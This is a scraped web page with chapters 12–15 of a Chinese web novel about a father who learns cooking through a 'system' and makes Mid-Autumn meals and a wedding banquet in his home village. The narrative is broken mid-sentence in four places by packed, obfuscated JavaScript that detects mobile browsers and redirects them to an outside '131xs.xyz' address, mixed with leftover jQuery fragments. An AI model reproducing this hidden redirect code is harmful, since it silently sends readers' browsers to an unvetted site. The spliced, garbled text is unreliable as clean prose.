l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630389|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二禾聊了会就直接邀请他中午留下来吃饭。 “行。”二禾说完就要起身去买酒，压根不给楚易文拒绝的时间。 小龙虾和螃蟹清洗起来挺费时间，尤其是小龙虾，又得用刷子刷，还得去头去虾线，中午吃肯定来不及。 最终午餐就是竹筒饭，五花肉炒笋子、栗子烧鸡、香菇炒青菜、蜜汁排骨、鲫鱼豆腐汤、清蒸大闸蟹。 这么多菜里，竹筒饭、五花肉炒笋、栗子烧鸡、香菇炒青菜、蜜汁排骨是楚易文做的，鲫鱼豆腐汤是表姨奶做的，清蒸大闸蟹则是由二禾这位专业卖蟹人士蒸的。 “行啊文哥，你这菜做得比外面大酒店的还好，以前怎么没发现你还有这个手艺。” 二禾望着桌上色香味俱全的菜，觉得他文哥是真厉害，会读书，会赚钱，现在连饭都会做，感觉就没有他不会的事。 表姨奶也夸个不停，直说今天这菜烧得比昨天还好。 跟他们比起来，楚瑾钰心里只有竹筒饭，闻着香味已经迫不及待想打开看看。楚易文察觉到儿子的视线，让他把菜刀拿过来，随即握着刀背开始敲竹筒。 随即竹筒被敲出裂缝，里面的糯米饭伴随一阵浓郁香味展露出来。糯米吸收腊肉的油脂，显得晶莹剔透，红润的腊肉丁、绿色的毛豆米、褐色的香菇丁、橙红色的胡萝卜，各种颜色的食材组成一幅特别漂亮的画卷，卖相特别诱人。 “哇塞！”二禾本来以为他只是随便做着玩玩，没想到竹筒饭做出来竟然如此诱人，不由发出真心实意的惊叹，觉得这饭真是看着就好吃。 楚瑾钰深吸一口气，觉得这竹筒饭也太香了，在色与香的双重诱惑下，嘴巴里已经开始疯狂分泌口水。 开饭后，他仗着自己年纪小，桌上大家都让他，没像大家一样把糯米饭盛到碗里吃，而是直接放在竹筒里吃。 竹筒饭不光闻起来香，吃起来更香，那咸鲜中透着清爽的滋味，吃得楚瑾钰嘴巴都停不下来。 “怎么样？”楚易文语气含笑。 “好吃，没想到爸你竟然还真会做竹筒饭。”楚瑾钰夸完，下一句却带着点小怨气，“山上那么多竹子，之前回老家时都不见你做。” 他说完想到什么，左手掏出手机对着竹筒饭一通拍，显然是忙着享受美食的同时还没忘记跟朋友炫耀。 “你还说呢，我跟你爸都认识三十多年，这还是第一次知道他还有这个手艺。”二禾说完招呼他们吃螃蟹，说螃蟹得趁热吃才好吃，不然冷了会腥。 中秋本来就是吃螃蟹的好时候，楚易文很是捧场，拿起个螃蟹边拆边夸：“你这螃蟹养得真不错，蟹黄蟹肉都特别饱满。” 他之前学蟹黄汤包时拆蟹都拆成熟手，这会三下五除二就把蟹黄蟹肉吃进嘴里，蟹黄鲜美微沙的口感，和蟹肉细腻鲜香的滋味，吃得他直点头。 “行啊你，吃螃蟹还挺厉害。”二禾看到他吃螃蟹的手法，觉得人跟人真是没法比，有些人就是做什么事都厉害。 12.第12章 楚易文和二禾两个老朋友边吃螃蟹边闲聊时，旁边楚瑾钰也没闲着，右手握着筷子哐哐往嘴里干饭，左手握着手机在群里分享美食照片和吃后感。 光是用竹筒这个容器蒸米饭就很吸引人，更别说竹筒内的糯米饭看起来还如此诱人。他几张照片发出去，直接把叶其林他们馋到，尤其是胡一齐，甚至喊着要过来找楚瑾钰一起吃。 【等你过来估计只剩竹筒了，没办法，里面饭太好吃了，香香糯糯，而且带着竹子香……】 胡一齐看看照片再看看他描述，口水都快掉下来，知道过去吃不现实，直接在外卖上搜索起来，可惜外卖上并没有竹筒饭卖。 馋人这种事，当然是对方越馋越有成就感，得知他被馋到上外卖搜竹筒饭，楚瑾钰又把桌上其他美食拍下来发出去。 胡一齐他们三个家庭条件都很好，今天中秋节，中午要么是家里阿姨做的大餐，要么是直接在酒店吃饭。但此时对比楚瑾钰发过来的图片，他们却感觉自己面前精致摆盘的菜肴一点都不香。 【老家有什么好玩的，你快回来吧，回来我请你吃帝王蟹［图片］】叶其林正跟家里人在酒店吃饭，看到楚瑾钰在老家过得那么潇洒，哪受得了。 楚瑾钰直接啪啪啪打字【帝王蟹有什么好吃的，看看这盘栗子烧鸡，栗子是在山上现摘的，鸡是上午现杀的农家走地鸡，再配上农家柴火灶，烧出来的那叫一个香，鸡肉软烂脱骨，栗子吸收汤汁，吃起来比肉还香……不行，没空跟你们说了，实在太香了，我得专心吃饭去，晚上再聊。】 他是懂怎么馋人的，这一通描述下来，可把胡一齐他们馋得不行，最终没忍住在群里一起骂他缺德。 楚瑾钰并没有在夸张，放下手机就专心开始吃饭，竹筒饭本身就已经很香，他再夹点栗子烧鸡配上一起吃，更是香到差点没咬到舌头。鸡肉的脂香混合栗子的甜香，咸鲜中带着淡淡回甘，直接吃好吃，配上糯米饭一起吃，口感更加丰富，而且吃得人特别满足。 别说他，就连二禾刚开始还要拉着楚易文聊天，等把桌上所有菜尝过一遍，不知不觉就安静下来，显然是嘴巴忙着吃菜，压根顾不上说话。 笋子是个很吃油的食材，要下油才好吃，用五花肉搭配一起炒，简直就是绝配。五花肉煸炒出油，整体呈现金黄色，笋子则是淡淡黄色，一深一浅搭配在一起，颜色特别漂亮，吃起来更是香，五花肉的油脂和笋的清香交织在一起，脆嫩爽口中带着肉鲜味，味道特别有层次感。 “笋子年年吃，本来都感觉有点吃腻了，今年甚至都懒得上山挖，但文哥你做的这个笋也太好吃了，感觉我以前吃的都是假笋。”二禾就着五花肉炒笋干掉半碗饭后，没忍住再次开口。 不光他这样觉得，表姨奶夫妻二人同样觉得今天的五花肉炒笋格外好吃。乡下人靠山吃山，二位老人每年都会去山上挖笋，家里晒的笋干都放到吃不完，但还是头一次发现笋还能炒得这么香。 “喜欢吃多吃点，再尝尝这个蜜汁排骨，蜂蜜是我跟人买的土蜂蜜，烧出来的排骨很香。” 上次买了八瓶蜂蜜，楚易文想着蜜蜂是好东西，特意带了两瓶回来送给表姨奶他们，现在正好用上。 用农家土灶烧出来的蜜汁排骨锅气更加浓郁，排骨表面裹着的那层琥珀色蜜汁看着特别诱人。 二禾伸出筷子夹起一块，蜂蜜产生的焦糖香混着肉香扑鼻而来，咀嚼间先尝到蜂蜜的甜润，然后就是排骨的咸鲜，咬开表面那层微脆的焦糖，里面肉带着微微汁水感，甜咸适中的滋味，令人回味无穷。 蜂蜜的甜是清甜，让这道蜜汁排骨吃起来甜而不腻，二禾连着吃几块才开口夸起来：“好吃，我不是说假话，文哥你这手艺，去开酒店都没问题。” 农家灶台的锅很大，炒出来的菜分量自然不小，可即便如此，午饭结束时楚易文做的那几道菜还是全部被吃光，桌上只剩下不是他做的鲫鱼豆腐汤和清蒸大闸蟹。 “光顾着吃菜了，都没好好跟你喝两杯。”二禾摸着脑袋笑得有些不好意思，只能趁现在端起杯子跟他碰一个。 菜好吃到忘记喝酒，是对厨师最好的夸赞，楚易文听到这话很有成就感，端起酒杯将里面啤酒一饮而尽。 今天是中秋节，二禾还得回家和家里人过节，因此杯子里酒喝完没有多待。他走之前，楚易文硬是塞给他一盒月饼，并起身送他往外走。 他去送客时，表姨奶开始给家里大黄狗准备狗饭。附近如今只住她家一户人家，平常她家大黄都是散养，然而今天中午可能是菜太香，大黄闻见味兴奋得不行，一直围着人打转试图讨食。 表姨奶怕它打扰人吃饭，就暂时将它栓在外面的狗窝里，现在拿鱼汤拌饭准备送给它吃。 乡下养的大黄狗不挑食，给什么吃什么，不过今天饭盆放到面前，大黄却是嗅闻好半天都不吃。 “赶紧吃。” 表姨奶话落的同时，楚瑾钰不知从哪拿个碗溜溜达达过来，将碗里东西倒进狗盆里。 大黄闻见味尾巴摇得飞快，吐着舌头冲他叫两声才低头大口吃起来，吃得那叫一个香。 “你还给它留菜了？”表姨奶望着盆里的五花肉、排骨、鸡肉，表情惊讶中带着点笑意。 她倒是没说楚瑾钰不该留，反而感受到他对自家大黄的喜爱，不由提议：“你喜欢的话，要不从村里抱只小狗回家自己养。” 楚瑾钰蹲下来看大黄吃饭，还顺手摸摸它狗头，见它完全没有护食反应，甚至边咀嚼边蹭蹭自己手，一副忙得不行的样子，越看越喜欢。 不过听到表姨奶让他养狗，他却是下意识摇头：“算了，我怕养不好。” “乡下土狗好养活……” 表姨奶话还没说完，旁边表姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633978|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷插话道：“他还是个学生，这会要好好读书，狗什么时候不能养。” 表姨奶想想觉得也是，没再说什么，转身去忙活其他事去。 两位老人回屋休息时，送完朋友回来的楚易文望着自家正在跟狗玩的儿子，本来准备提醒他写作业，但想到今天是中秋节，最终还是没扫兴。 今天准备午餐时，他又收获不少菜谱，有红烧排骨、大闸蟹和小龙虾。左右闲着也是闲着，他决定去系统厨房把菜谱给学掉，正好晚餐时能把小龙虾做出来。 “我去睡个午觉，你就在附近玩，别跑远了，也别自己去水边听见没？”回房间前，楚易文不忘对着儿子交代几句。 “我又不是三岁……”楚瑾钰无语地嘀咕完，还是带着几分敷衍回了句，“知道了。” 小龙虾好吃，但自己做却是很麻烦，楚易文进入系统厨房时对着满满一大盆张牙舞爪的小龙虾，都有点后悔选择先学这个。 老爷子教过一遍怎么清理小龙虾后就在旁边看着，见他还是被虾钳给夹到，张嘴就是一句：“活该。” 楚易文能怎么办，只能当没听见，然后将气都发在小龙虾上，握着刷子对它们好一通刷，刷干净再拿剪刀去虾头。 小龙虾食谱还挺丰富，有好几种口味做法，老爷子从最经典的麻辣小龙虾先开始教起。 “六成油温，先将虾子炸一遍，注意用中大火……” 老爷子动作是真麻利，说话的功夫小龙虾已经下锅，快速在油锅中过不到一分钟，炸成漂亮的红色就被立刻捞出来。 楚易文每次看他做菜心里就油然而生起一股佩服，觉得怎么有人能做个菜做到如此……他不怎么怎么形容，非要说的话大概就是行云流水，特别流畅。好像他做菜完全不用思考，每个步骤都特别自然。 “发什么呆，好好看，看仔细。”老爷子明明在做菜，却能在他略一分神时立刻发现，这一心二用的本事确实厉害。 一份麻辣小龙虾很快出锅，油润透亮的小龙虾闪耀着诱人的光芒，看起来像是会发光一样。那股霸道的麻辣香气混合虾本身的鲜味，再配上啤酒酒精挥发后留下来的麦芽清香，特别有层次感。 这色，这香，放到谁面前都扛不住，楚易文明明中午吃得挺饱，现在却是又感觉饿了，直接上手就开始吃。 入口先尝到汤汁强烈的麻辣味，霸道的麻与辣两种口味瞬间唤醒味蕾，而麻辣之下则是醇美的酱香底味，等到虾肉入口，紧实弹牙的虾与汤汁的麻辣咸鲜融合在一起，咀嚼间余味回甘。啤酒的加入不光能为小龙虾去腥，残留的麦芽香淡淡甜味平衡了麻辣的刺激，同时为小龙虾带来若有若无的清香，令人回味无穷。 楚易文以前小龙虾吃得不多，倒不是他不爱吃，而是嫌麻烦。但此时此刻，他却觉得如果是面前这种档次的小龙虾，那他就是吃一大盆都不会嫌麻烦。 13.第13章 “吃吃吃，你就知道吃。”老爷子看到他吃起来没完没了，抬手敲着案板。 “没办法，谁让您这小龙虾做得太好吃，根本停不下来。” 都说伸手不打笑脸人，何况楚易文连敬语都用上，他话落，老爷子轻哼两声，提醒他吃快点，别磨磨唧唧。 楚易文也不是白吃的，他在吃虾时认真品味了一下汤汁的调味，对比刚刚老爷子下调料时的配比，脑海中复盘各种细节。 不得不说，他能从一个厨房小白，到如今能做出几道色香味俱全谁吃都夸好的拿手菜，除了系统提供的师父给力外，还有他自己愿意动脑子，态度更是认真的缘故。 终于解决整份小龙虾，楚易文回味着唇齿间残留的余香，洗干净手开始亲自动手尝试做麻辣小龙虾。 同样是炸虾，老爷子刚刚那叫一个游刃有余，到他这就显得有点手忙脚乱。重复尝试几次，他才终于把握好火候，炸出一盆红彤彤，颜色看起来很漂亮的小龙虾。 麻辣小龙虾的麻源自于花椒，小龙虾炸好放在旁边备用，楚易文开始转小火炒花椒，花椒香味被爆出来时，又香又有些呛人。 “咳咳……” 楚易文偏过头轻咳两声，在麻香味炒出来后又依次往锅里下入干辣椒、葱、姜、蒜等食材以及豆瓣酱，等到红油被炒出来，一股麻辣中带着酱香的气息源源不断从锅里飘出来。 “下虾。”老爷子见他再炒就要炒过头，还是没忍住开口提醒。 楚易文赶紧将小龙虾倒入锅中，轻轻几个翻炒，虾身上立刻裹满红油与调料，鲜味逐渐开始飘出来。 他做得很认真，但当小龙虾出锅，老爷子却是尝都没尝就直接表示不合格，让他重做。 有个要求严格的老师是好事，别管楚易文在系统厨房有多手忙脚乱，但在他通过及格标准出来时，做起菜特别有范，完全看不出他是新学的。 “小文真厉害，连小龙虾都会做。” “是啊，这东西送给我我都不知道怎么吃。” 这不，晚上楚易文开始烧小龙虾时，表姨奶夫妻二人看着他一副大厨风范站在灶台前，都忍不住夸他。 下午帮忙洗龙虾，被虾钳子夹了几下的楚瑾钰心里正咬牙切齿地想着要多吃几个虾报仇，听到两位老人的话，再闻着从锅里飘出来的香味，感觉味道应该会好吃，觉得这样的话自己倒是不算白被夹。 “其实没那么复杂，用现成的火锅底料也能做。”楚易文边翻炒小龙虾边说。 中午二禾买回来的啤酒没怎么喝，现在倒是正好能用上，他说完打开两罐啤酒倒入锅中，随即开始盖上盖收汁。 “还是算了，又要洗又要杀，太麻烦了。”表姨奶摇摇头，觉得反正她是不会自己去买这玩意回来烧。 由于有两位老人在，楚易文没把小龙虾做得太辣，将锅盖焖上就开始去旁边那个小锅里开始做红烧排骨。 红烧排骨同样是他下午现学的，先将排骨焯水去腥，随即往锅里下入冰糖开始炒糖色。在楚瑾钰看来，他爸往灶台前一站，特别有大厨风采，实际上对楚易文来说，他在厨艺这条路上要学得还很多。 冰糖在锅里融化时，楚易文专注地盯着锅底，看着糖稀从大泡变小泡，颜色逐渐变成琥珀色时，迅速将排骨下入锅中进行翻炒。柴火灶火候本来就不容易掌握，这一步他是真半点不敢慢，不然糖要是炒焦了导致肉发苦，那根本没法吃。 “糖色炒得真好看。”看到他连炒糖色都会，表姨奶想到自己家里上到老子下到小子都只会吃干饭，开始用看别人家儿子的眼神看着他。 楚易文其实感觉这糖色炒得没有在系统厨房里那么好，不过他没说出来，毕竟有时候谦虚多了别人还当他是在凡尔赛。 糖色炒好时带着焦糖香的肉鲜味从锅里飘出来，闻起来已经有点诱人，等到葱、姜、蒜、八角、桂皮之类下锅，再加入生抽、老抽和水开始炖上时，那股肉鲜味简直越炖越浓郁。 中秋节的晚餐比午饭还要丰盛，有满满两大盆红彤彤的麻辣小龙虾，有红亮诱人的红烧排骨，有如碎玉镶金的辣椒炒鸡蛋，有用走地鸡炖的小鸡炖蘑菇，还有菜园里现摘的黄瓜做的拍黄瓜，下酒又下饭的蜜汁香辣小鱼干，炒青菜，以及中午没吃完的大闸蟹。 “看着就好吃！” 楚瑾钰望着桌上那些菜，还没吃就兴奋起来，如果不是还记得点礼貌要等人一起吃，都想直接上手先尝两口。 不能立刻吃，他干脆拍了几张照片发到群里去馋人，惹得叶其林他们纷纷骂他无聊。 某方面来说，楚瑾钰在老家确实无聊，谁让附近网不好，他打个游戏网能卡死人，没得玩的他可不就只能在群里撩拨朋友玩。 【这麻辣小龙虾也是你爸自己做的？怎么看着比外面卖的还好香，你确定不是从外面打包回来的？】 【你爸怎么什么都会做啊？看得我口水都要下来了……】 【红烧排骨看起来真诱人，我也想吃，给我留点。】 楚瑾钰馋完群里几个朋友，自己倒是放下手机就开吃起来，实在有点缺德。 开饭后，他想都不想先朝麻辣小龙虾伸手，还没吃就被那股麻辣鲜香的味道馋得不行，低头轻吮一口虾壳上的汤，感觉味蕾瞬间就被唤醒，有种食欲大开的感觉。 楚瑾钰迫不及待剥开虾壳，里面虾肉更是格外鲜嫩有弹性，尤其是在汤里滚一圈再吃，那叫一个鲜。 刚从塘里现捞出来的小龙虾鲜活饱满，再配上楚易文的手艺，这道麻辣鲜香的小龙虾别说楚瑾钰吃得停不下来，就连表姨奶他们两位老人都扛不住它的诱惑。 小龙虾出锅前，表姨奶嘴上没说，心里却觉得就这没什么肉的东西要下那么多料去做，还要倒啤酒进去煮，实在太浪费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640086|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。甚至有些不理解，现在年轻人怎么会爱吃壳比肉多的小龙虾。 然而等到开饭，桌上却是就数小龙虾那耀眼的红色最吸引人，同时它的香味也最霸道，不用刻意去闻，那股麻辣鲜香的气息就直往人鼻子里钻，诱惑得人不自觉朝它伸手。 表姨奶不是很会吃虾，就直接送进嘴里慢慢咬，可即便如此，依旧被那股麻、辣、咸、鲜、香的滋味给惊艳到。 老年人味觉退化，本来口味就重，小龙虾这种重口味美食对他们来说，那简直是不吃还好，一吃根本停不下来。 两位老人专心研究吃小龙虾时，楚瑾钰却是吃着嘴里望着盘子里，左手刚丢下咬过的虾钳，右手握着筷子夹起块红烧排骨。 楚易文对今天排骨的糖色不太满意，但其实这道红烧排骨整体颜色还是挺漂亮，浓稠的汤汁挂在排骨上，看起来红润油亮，令人特别有食欲。 经过炖煮，猪肉香味被完全激发出来，肉香中带着焦糖的甜香，酱油的酱香，以及八角桂皮等香料的辛香，几种香味融合在一起，组成一种带着复合气息的肉香，闻起来令人陶醉。 楚易文轻轻一咬，肉直接从骨头上脱下来，带着点肥肉的肋排吃起来却是一点都不腻，反而特别香，咀嚼间口感烂而不柴。 跟之前的蜜汁排骨比起来，红烧排骨整体偏咸鲜中带着微甜，它的甜味来自炒糖色，相对来说甜味没蜜汁排骨那么重，吃起来肉鲜味十足。 麻辣小龙虾好吃，但它肉是真少，辛辛苦苦剥完壳，吃进嘴里根本没多少肉，有种吃多少都不够的感觉。对比起来，还是红烧排骨能给人大口吃肉的满足感，楚瑾钰握着筷子连吃几口排骨，随即才继续剥虾吃。 不得不说，吃几口咸鲜微甜的红烧排骨，再来点麻辣鲜香的小龙虾，中间来口米饭或者青菜，简直不要太享受。 太好吃了！ 楚瑾钰吃得一脸满足，感觉吃上这么顿饭菜，简直这辈子都值了。 他是吃高兴了，手机群里，胡一齐却是被他发出来的照片馋得不行，甚至试图喊叶其林两个人一起去找他。 【那小子回老家潇洒就算了，还天天发照片馋人，这你们忍得了？要不咱们去找他吧，找到后先揍一顿，再把他好吃的全抢走……】 眼见胡一齐越说越激动，叶其林让他别闹，并表示不就是红烧排骨、小龙虾，他要真想吃，自己请他吃。 【外面卖的又不好吃，老四那可是用柴火灶做的，看照片就知道肯定特别好吃，那红烧排骨简直在散发金黄，你们真的不想吃吗？】 【什么金黄，你也太夸张了，那明明是灯下油在反光，你要实在想吃，等他回来你去他家蹭饭也不迟。】 叶其林消息发出去，商时贸也跟着回了一条，表示这么突然去楚瑾钰老家不礼貌，最终打消胡一齐去找他的念头，变成在群里“祝福”楚瑾钰国庆胖十斤。 14.第14章 楚瑾钰并不知道自己收到了朋友真挚的祝福，饭桌上其他人已经放下碗筷，只有他还在解决剩下的小龙虾。 看到他吃得那么香，楚易文心里成就感满满，不过还是笑着提醒：“别撑着自己，待会还要吃月饼。” 月饼有什么好吃的，哪有小龙虾香。 楚瑾钰心里想着，不过嘴上却是没空说话，光顾着啃虾钳子去。以前他吃小龙虾绝对没那么仔细，虾钳最多挑大的啃，甚至有时候不啃直接丢，但今天，他感觉如此美味的小龙虾，多丢一丝肉都是浪费，吃得那叫一个认真。 又半个小时后，他终于吃完，嘴边都沾上油汁，不过脸上表情却是特别满足。吃饱喝足他倒是没坐在那当大爷，而且起身帮忙一起收拾桌上的空盘子。 父子二人都挺尊老，能抢着干的事绝对不让表姨奶两位老人上手，不怪得知他们要回老家，表姨奶就高高兴兴提前给他们打扫卫生，晒被子。 “这是什么？” 楚易文将洗好的碗盘放进厨房里那个老式碗柜里时，不小心把一包东西碰出来。 “是前段时间晒的桂花。”表姨奶边说边走过来打开塑料袋，一股浓郁桂花香瞬间飘出来。 “挺香的。” 楚易文随口夸了一句，表姨奶立刻把桂花塞进他手里表示送给他。 “辛辛苦苦晒的，你自己留着用。” “留着也没什么用。” 表姨奶这是大实话，像她这一辈人就是单纯闲不住，每天都要给自己找点事做。晒桂花纯粹是看到树上桂花开得好，但你要问她晒完有什么用，她可能就一直放在那，放到坏都有可能。 【叮~宿主收获食材桂花干，随机掉落食谱［桂花红烧肉x1］】 桂花红烧肉？ 系统时不时掉落菜谱楚易文已经习惯，但听到桂花和红烧肉联系在一起时，他多少有点惊讶，不过转念想想，红烧肉本身就带甜味，和桂花搭配好像……也不算奇怪？ 表姨奶晒的桂花很干净，而且绝对纯天然无添加，更没熏什么乱七八糟的硫。楚易文确定她留着确实没用，最终没跟她客气。 餐桌收拾干净后，接下来可以进行中秋节的下个环节——赏月吃月饼。 都说十五的月亮十六圆，但今天晚上月亮看起来已经如玉盘一样圆润皎洁。 桌上有楚易文带回来的月饼礼盒，还有表姨奶买的老式月饼，洒满芝麻的老式月饼切开时，甚至能听到冰糖的响声。 楚瑾钰晚餐吃得挺饱，对月饼，尤其是这种看着就不吸引人的老式月饼实在没什么兴趣，不过在表姨奶把月饼递过来时，他没扫兴，而是说：“谢谢表姨奶，我自己来。” 他说完自己拿刀切了一小小小块，有一口没一口咬着。 跟他比起来，楚易文望着馅料里带青红丝的老式月饼，心里倒是有些怀念，直接拿了大块吃起来。 说实话，就算经过记忆美化，青红丝口感依旧不好吃，他吃着吃着把自己给吃笑了，觉得果然有些东西还是只适合拿来怀念。 跟车水马龙的城市比起来，农村不光空气好，视野更是开阔，仰头就能看到漂亮的夜色。楚易文吃着月饼仰望天幕，那轮皎洁的月亮却是勾起他很多从前的回忆。 常年在城市居住的父子二人或许会因为这夜色而生起感叹，但对表姨奶夫妻二人来说早就司空见惯。老年人精力不济，意思意思吃两口月饼就回屋休息去，很快外面便只剩楚易文父子二人。 “小时候你爷爷爱逗你玩，中秋节要你背诗才给月饼吃，没想到你那么聪明，一教就会，后来一到中秋节就喜欢背‘小时不识月，呼作白玉盘’这首诗’……” “不就背个诗，有什么聪明的。”人甚至不能共情小时候的自己，楚瑾钰听到是那么简单的诗，不以为然道。 “那会你才三岁不到，幼儿园都还没上……” 楚易文想到小时候肉乎乎的儿子，会奶声奶气窝在自己怀里喊“爸爸”，会一字一句跟自己学背诗，有点不明白，怎么孩子长大就突然跟自己不亲了。 楚瑾钰对自己幼儿园时期其实已经没什么记忆，非要说的话，他只记得读学前班时，他爸把他送到教室里就走，不知道是哪个孩子喊了声“爸爸妈妈把我们卖了”，惹得他差点跟着教室里孩子一起哭起来。 每逢佳节倍思亲，父子二人吃着月饼赏着月，回忆着从前和已逝的共同亲人，气氛倒是难得和谐。 不过这份和谐仅仅维持到第二天早上，在楚易文开口提醒楚瑾钰写作业时。 “今天不是要去堂叔家吃酒席，回来再做。” 没几个学生喜欢做作业，楚瑾钰自然不例外，听到催自己做作业眉头就皱起来。 “现在八点都不到，我们九点才出门，你先做一点，不然那么多作业又都堆到最后一天写，哪写得完。” 楚易文觉得他就是每次做作业喜欢拖延，拖到最后根本写不完才会去抄别人作业，既然如此，就得好好改改他这个毛病。 “我现在不想写，谁家好人大早上写作业。” 楚瑾钰说完直接撒腿就跑，不想听他继续唠叨。 大黄看到他跑，直接摇着尾巴屁颠屁颠跟在他后面，没多久一人一狗就一溜烟跑没影。 楚易文叫了两声没叫回来人，忍不住在心里叹气，想不通他为什么不能把作业做完再玩个痛快，非要拖拖拉拉。 “算了，算了，孩子难得回来一趟，让他玩去呗。”表姨奶怕他生气要打孩子，赶紧帮忙说话。 楚易文能怎么样，只能等到九点给他打电话，喊他去喝喜酒。 其实吃喜酒本来不用去那么早，十一点左右再去都来得及，毕竟酒席什么的一般不会开始得太早。不过他作为男方那边还算近的亲戚，讲究一点的话，提前过去看看有没有需要帮忙的地方也是应该的。 新郎家就在附近，楚易文开车不到二十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645733|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟就到达目的地。 村里很多地方办喜事还是喜欢在家里办，而不是去酒店，今天这顿喜酒就是如此。他们过来时新郎家门口已经摆着好多桌椅，同时不远处空地上则是架起好几个大锅，还有各种食材。 “堂叔，堂婶。” 楚易文领着儿子先跟主家打招呼，楚瑾钰跟在后面叫人：“堂爷爷，堂奶奶。” “小文你们来了，这是瑾钰吧？都长这么高了，快去屋里坐着休息会，吃点水果。” 看到他们父子过来，新郎父母热情招呼。 “有什么要帮忙的？” “不用，不用，你们来了都是客……” 见没有需要帮忙的地方，楚易文这才带着儿子去屋里，新郎妹妹看到他们，边打招呼边喊他们喝茶吃水果。 屋里还有其他人，有些楚瑾钰都不认识，听到他爸跟他们寒暄，感觉有点无聊，干脆掏出手机玩起来。 “现在的孩子就知道玩手机，不像我们那会……”有个亲戚嘴是真多，连别人家孩子玩手机都看不惯，非要说几句。 楚易文淡淡开口：“我们那会是没手机，有手机你看谁会不玩。” 新郎妹妹闻言赶紧说：“孩子坐在这无聊，玩会手机也没什么。” 今天是人家大喜日子，刚刚那个多嘴的亲戚见楚易文这个当爸的护犊子，没敢再继续找事。 随着时间流逝，过来的亲朋好友越来越多，大家开始互相寒暄起来，作为小辈的楚瑾钰见个人就得打招呼，瞬间就不想在屋里待，直接溜出去。 闲着没事干，他本来想去看看酒席上有什么好吃的，结果刚到露天厨房那边，就听见堂爷爷和堂奶奶的争吵声。 “我都说让你花点钱请人来做，你非不听，现在好了……” 楚瑾钰听了一会才听明白，原来今天喜宴堂爷爷没承包出去给外面喜宴团队，而是准备自己来掌勺。 堂爷爷本身就是干这一行的大厨，加上他还请了个大厨以及几个负责切菜的帮厨来帮忙，本来是没问题的。现在问题就出在，他请的大厨临时有事，现在都十点了人还没来。 “没来就没来，我自己做就是。” “马上就十一点了，你一个人做要做到什么时候去？儿子好不容易结婚，你真是气死我了……” 楚瑾钰看到堂奶奶气得用手抚着胸口时，怕她出个什么好歹，赶紧上前搀扶着她，顺便将自己老爸卖出去：“可以叫我爸来帮忙，他做的菜特别好吃。” 楚易文收到消息立刻就过来，问清楚还剩什么菜没做立刻就开始动手，同时询问：“有桂花吗？” 就他把五花肉放入锅中将皮烙至焦黄那一手去毛除腥的动作，看起来就很专业。堂奶奶虽然不懂做红烧肉为什么要桂花，还是赶紧去屋里给他拿。 楚易文昨晚刚学的桂花红烧肉，现在正好可以试试，他将五花肉去毛除腥后握着刀将肉切成块，随即开始焯水再次去腥。 15.第15章 “易文哥，我妈说你要桂花，你看这些够吗？” 楚易文把五花肉焯完水，新郎妹妹拿着桂花过来问。 “够了，放旁边就行。”他说完已经将冰糖下去锅中开始炒糖色。 “没想易文哥你还会做菜，真厉害。” 新郎妹妹夸完也没闲着，边在附近帮忙边用余光关注他做菜。 酒席上的冷盘已经准备好，汤和米饭也都好了，现在只差最后几道热菜。楚易文这边五花肉下锅炒出漂亮糖色时，不远处传来鞭炮声，估计是接亲的队伍到了。 “爸，别做了，你得去屋里了，早说你今天不能当大厨你非要自己来，真是……”新郎妹妹听到鞭炮声仰起脖子往前看过去，忍不住抱怨起来。 她爸心里此时有点后悔，但嘴却还是硬得很：“这不是都快做好了，就差最后几个热菜。” “小文啊，今天真是麻烦你了。” “没事，堂叔你快去忙。” 楚易文其实同样不理解，儿子结婚这种喜事他干嘛还要自己来做菜，但帮忙帮到底，直接把剩下几个菜都接下来。 好在其实也没剩几个菜，像是蒜蓉粉丝蒸扇贝、黑米糕、奶香馒头之类的有帮厨会去蒸，甜汤是罐头直接倒出来就行，热菜里红烧蹄髈、烤羊排、清蒸鲈鱼之类的也都已经做好，现在只剩下红烧肉、笋子炒肉和炒青菜。 眼见已经快十一点，红烧肉至少还得炖一个小时以上才能软烂入味。楚易文加快手上动作，将葱、姜、蒜、八角、香叶等食材炒出香味，赶紧把炒好糖色的肉块下锅。 伴随着不远处锣鼓喧天的声响，以及接连不断的鞭炮声，他将料酒沿着锅边淋下去，进一步给肉去腥。 大锅菜不光考验厨艺，还很考验力气，楚易文用大锅铲给肉最后翻炒几下，终于能加入热水开始炖。 